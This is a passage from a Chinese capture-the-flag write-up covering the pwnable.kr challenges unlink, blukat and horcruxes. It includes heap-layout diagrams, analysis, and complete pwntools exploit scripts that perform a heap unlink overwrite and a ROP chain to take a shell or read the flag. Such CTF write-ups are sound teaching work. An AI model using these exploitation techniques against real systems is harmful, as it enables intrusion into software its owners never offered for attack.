- [bk] = ecx
- [fd] + 0x4 = &ecx
推得
- [bk] = heap_A + 0xc
- [fd] = ebp - 0x4 - 0x4 = stack_A + 0x10 - 0x4 = stack_A + 0xc
0 4 8
+-----------------+-----------------+ heapA
| fd | bk |
+-----------------+-----------------+ A -> buf
| *func_shell | ~padding~ |
+-----------------+-----------------+ heapB-header
| ~padding~ |
+-----------------+-----------------+ heapB
| stack_A + 0xc | heap_A + 0xc |
+-----------------+-----------------+
解题
做完题后再想了几遍构造原理,感觉通透了不少
from pwn import *
context.log_level = 'info'
is_remote = True
method = 2 # 1 or 2
if is_remote:
s = ssh(host='pwnable.kr', port=2222, user='unlink', password='guest')
p = s.process("/home/unlink/unlink")
else:
p = process("/home/pwn/Desktop/unlink")
p.recvuntil("here is stack address leak: ")
stack_addr = int(p.recv(10), 16)
p.recvuntil("here is heap address leak: ")
heap_addr = int(p.recv(9), 16)
p.recvuntil("get shell!\n")
shell_addr = 0x080484eb
if method == 1:
fd = heap_addr + 0xc
bk = stack_addr + 0x10
else:
fd = stack_addr + 0xc
bk = heap_addr + 0xc
payload = p32(shell_addr) + b"."*12 + p32(fd) + p32(bk)
p.sendline(payload)
p.interactive()
20. blukat
题目
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
char flag[100];
char password[100];
char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";
void calc_flag(char* s){
int i;
for(i=0; i<strlen(s); i++){
flag[i] = s[i] ^ key[i];
}
printf("%s\n", flag);
}
int main(){
FILE* fp = fopen("/home/blukat/password", "r");
fgets(password, 100, fp);
char buf[100];
printf("guess the password!\n");
fgets(buf, 128, stdin);
if(!strcmp(password, buf)){
printf("congrats! here is your flag: ");
calc_flag(password);
}
else{
printf("wrong guess!\n");
exit(0);
}
return 0;
}
分析
…脑洞题,password为cat: password: Permission denied
,就是为了提醒注意文件权限
解题
from pwn import *
context.log_level = 'debug'
s = ssh(host='pwnable.kr', port=2222, user='blukat', password='guest')
p = s.process("/home/blukat/blukat")
p.recvuntil("guess the password!\n")
p.sendline("cat: password: Permission denied")
p.recv()
21. horcruxes
题目
需要sudo apt install libseccomp-dev:i386
分析
有个名为 ropme 的函数,主要关注这里,其功能判断输入值是否为 sum,是的话则返回 flag
可以明显看到数组s
有溢出,但是怎么利用呢?
- 直接控制 ropme 返回地址到 open flag 的地址
- 获取 a~g 的变量值通过 sum 验证
首先检查看到是没有开启 ASLR 地址是固定利用的,接着往下走
第一种方法中,由于跳转地址含有0x0a
导致无法有效从 gets 输入,所以只能考虑第二种方法
我们看到 A~G 函数都是无参函数,且执行 printf 后 ret 返回,所以在栈上表现为返回执行原函数下一地址指令
我们通过把栈覆盖如下,当输入不等于 sum 时,ropme 即会跳转调用 A 函数输出 a,当从 A 函数返回时便会调用 B 函数……当 A~G 都执行完毕后计算 sum 值,再次调回 ropme 输入正确答案即可
解题
from pwn import *
context(arch='i386', os='linux')
is_remote = 1
if is_remote:
p = remote(host='pwnable.kr', port=9032)
else:
p = process("/home/pwn/Desktop/horcruxes")
payload = b'.' * 0x78
payload += p32(0x809fe4b) # A
payload += p32(0x809fe6a) # B
payload += p32(0x809fe89) # C
payload += p32(0x809fea8) # D
payload += p32(0x809fec7) # E
payload += p32(0x809fee6) # F
payload += p32(0x809ff05) # G
payload += p32(0x809fffc) # ropme
p.sendlineafter("Select Menu:", '1')
p.sendlineafter("How many EXP did you earned? : ", payload)
p.recvline()
sum = 0
for i in range(7):
msg = p.recvline().decode()
num = int(msg.strip(')\n').split('+')[1])
sum += num
p.sendlineafter("Select Menu:", '1')
p.sendlineafter("How many EXP did you earned? : ", str(sum))
log.info(p.recvline())